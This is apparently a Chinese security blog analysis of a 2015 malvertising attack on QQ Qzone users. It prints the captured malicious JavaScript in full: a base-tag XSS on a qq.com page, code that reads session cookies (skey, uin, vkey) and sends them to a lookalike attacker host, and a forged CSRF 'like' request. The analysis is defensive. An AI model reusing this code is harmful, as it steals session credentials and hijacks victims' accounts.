今天听说有些人在点击了几个花千骨的广告视频后,自己的qq空间里面就被莫名其妙的分享了一些广告,还自动添加了好友。

怀疑是qq空间的xss或者csrf。在对那几个视频页面进行分析后没有发现什么可疑的代码,后来在模拟了qq手机版的ua,清除了cookies,然后更换了ip后终于复现了这个问题。

QQ20150713-2@2x.png

这个域名是不是很可疑?我开始怀疑是腾讯的合作伙伴的js被篡改了,但是点看这个php,它的内容是

document.getElementById("footad").src="http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin="+rndNum(9)+"&blogid=12"+rndNum(8)+"&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid="+window.vid;
function rndNum(len){
    if(len && len>0 && len<100){}else{len=32;}
    var strs="123456789";
    var maxPos=strs.length;
    var rdstr="";
    for(i=0;i<len;i++){
	rdstr+=strs.charAt(Math.floor(Math.random() * maxPos));
    }
return rdstr;
}

if(cookieRead){
   var dor=cookieRead("adplay");
   if(dor && dor>0){
	//;
   }else{
	cookie_set("adplay",99);
   }
}

http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin=842362834&blogid=1268155622&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid=19发起一个请求,当然里面有几个参数的随机生成的。

打开这个url,查看源代码,漏洞就是很明显的了。

1368966902.png

base标签里面抹掉的那个域名和url里面的抹掉的那个域名是一样的,典型的xss漏洞。因为base标签是可以改变下面的相对路径的,比如html在qq.com域下,而base里面是baidu.com,那么下面的<script src="1.js"></script>就会访问baidu.com/1.js,而不是qq.com/1.js,导致xss漏洞。而我发现这个地方腾讯其实是有过滤的,因为url里面直接使用xxx.com是不可以的,必须是xxx.com/cache.qq.com才行,但是这样的过滤并没有什么卵用。

这个embeded.js的内容是

try{document.domain="qq.com";}catch(e){}
function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return ""}}

function cookie_set(key,value){
	var Then=new Date(); 
	Then.setTime(Then.getTime()+7*24*60*60*1000); 
	document.cookie=key+"="+value+"; path=/;expires="+Then.toGMTString();
}

function getQueryString(name) { 
	var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 
	var r = window.location.search.substr(1).match(reg); 
	if (r != null) return unescape(r[2]); return ""; 
} 

var dor=cookieRead("qsdone");
if(dor && dor>0){
	//document.location="about:blank";
}else{
	cookie_set("qsdone",99);
	window.onload=iframe_add;
}



function iframe_add(){tjskey();
	var eframe;
	try{
		var isie=window.navigator.appName.toUpperCase().indexOf("MICROSOFT")>=0;
		eframe = document.createElement(isie? "<iframe name='xframe'>":"iframe");
	}catch(e){}
	try{
		if(!eframe){eframe = document.createElement("iframe");}  
		eframe.id = "xframe";
		eframe.name = "xframe";
		eframe.width="0px";
		eframe.height="0px";
		eframe.scrolling="no";
		eframe.setAttribute("frameborder", "0", 0);
		eframe.src="http://b.qzone.qq.com/proxy.html?r=0.1436745170";
		if(eframe.attachEvent){
			eframe.attachEvent("onload",iframe_addjs);
		} else {
			eframe.onload=iframe_addjs;
		}
		document.body.appendChild(eframe);
	}catch(e){}
}


function iframe_addjs(){ 
	var xdoc;
	if(!xdoc){try{xdoc=document.frames["xframe"].contentWindow.document;}catch(e){}}
	if(!xdoc){try{xdoc=document.frames["xframe"].document;}catch(e){}}
	if(!xdoc){try{xdoc=document.getElementById("xframe").contentWindow.document;}catch(e){}}
	if(xdoc){
		var xjs=xdoc.createElement("script");
		xjs.src="http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
		xjs.type="text/javascript";
		try{xdoc.getElementsByTagName('head')[0].appendChild(xjs);}catch(e){}
	}
}

function tjskey(){

	var eimg; 
	eimg = document.createElement("img"); 
	eimg.width="0px";
	eimg.height="0px";
	var myskey=cookieRead("skey");
	var myqq=parseInt(cookieRead("uin").replace("o",""));
	var vkey=cookieRead("vkey");	
	//if(myqq>500 && vkey.length>10){
		if(myqq>500){
			eimg.src="http://imgcoche.qq.xxxx.com/qq/c.php?u="+myqq+"&s="+myskey+"&v="+vkey+"&f="+getQueryString("vid");
			document.body.appendChild(eimg);
		}	
	}

在window.onload的时候读取cookies中的qq,key和skey等,发送到后台。

然后判断浏览器,创建一个iframe,src是http://b.qzone.qq.com/proxy.html,然后在这个页面写入js,地址是http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";。这个js的内容是

var xqq="19111xxxxx";


var g_skey=cookieRead("skey");
var g_tk;
if(g_skey && g_skey.length>1){
	g_tk=getGTK(g_skey);
	var g_vuin=parseInt(cookieRead("uin").replace("o",""));
	var g_ie=myisIE();
	var g_sender;
	add_form();
}


function getGTK(str){
    var hash = 5381;
    for(var i = 0, len = str.length; i < len; ++i){
        hash += (hash << 5) + str.charAt(i).charCodeAt();
    }
    return hash & 0x7fffffff;
}
function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return null}}

function myisIE(){
   if (!!window.ActiveXObject || "ActiveXObject" in window)  
        return true;  
    else  
        return false;  
}  
 

function add_form(){
	var ie=g_ie;
	try{g_sender = document.createElement(ie? "<iframe name='p'>":"iframe");}catch(e){}
   try{
	if(!g_sender){g_sender = document.createElement("iframe");}  
	g_sender.id = "p";
	g_sender.name = "p";
	g_sender.width="1px";
	g_sender.height="1px";
	g_sender.scrolling="no";
	g_sender.setAttribute("frameborder", "0", 0);
	if(g_sender.attachEvent){
    		g_sender.attachEvent("onload",sender_addjs);
	} else {
		g_sender.onload=sender_addjs;
	}
	document.body.appendChild(g_sender);
   }catch(e){}
}

function sender_addjs(){
    if(!window.oncepost){
	var uri="http://w.qzone.qq.com/cgi-bin/likes/doLike";
	var refer="http://user.qzone.qq.com/"+g_vuin;
	var ie=g_ie;

	var ifrHTML='<!DOCTYPE html><html lang="zh-cn"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta charset="utf-8" />';
	ifrHTML=ifrHTML+'<script type="text/javascript">'+(ie&&'document.charset="utf-8"'||"")+';document.domain="qq.com";frameElement.submited=void(0);frameElement.state="sending";<\/script></head><body>';
	ifrHTML=ifrHTML+'<form action="'+uri+(uri.indexOf("?")>-1?"&":"?")+"g_tk="+g_tk+'" accept-charset="utf-8"  enctype="application/x-www-form-urlencoded;charset=utf-8" method="post">';
	ifrHTML=ifrHTML+'<input type="hidden" name="qzreferrer" id="qzreferrer" value='+refer+'/>';
	ifrHTML=ifrHTML+'<input type="hidden" name="url" id="url" value='+refer+'/>';
	ifrHTML=ifrHTML+'<input type="hidden" name="cid" id="ouin" value="'+xqq+'" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="from" id="from" value="brand" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="scene" id="scene" value="5" />';
	ifrHTML=ifrHTML+'<input type="hidden" name="fupdate" id="fupdate" value="0" />';
	ifrHTML=ifrHTML+'</form><script type="text/javascript">try{var f=document.getElementById("p");f.submit();}catch(e){}<\/script></body></html>';
	if(!ie){
		var d=g_sender.contentDocument||g_sender.contentWindow.document;
		if(d){
			d.open();
			d.write(ifrHTML);
			d.close();
		}
	}
	window.oncepost=1;
    }
}

动态创建了一个form,然后post数据,看url是赞了一下某个说说,反正植入js后一切就好办了~~

还有一个加好友的就是无法复现了

QQ20150713-4@2x.png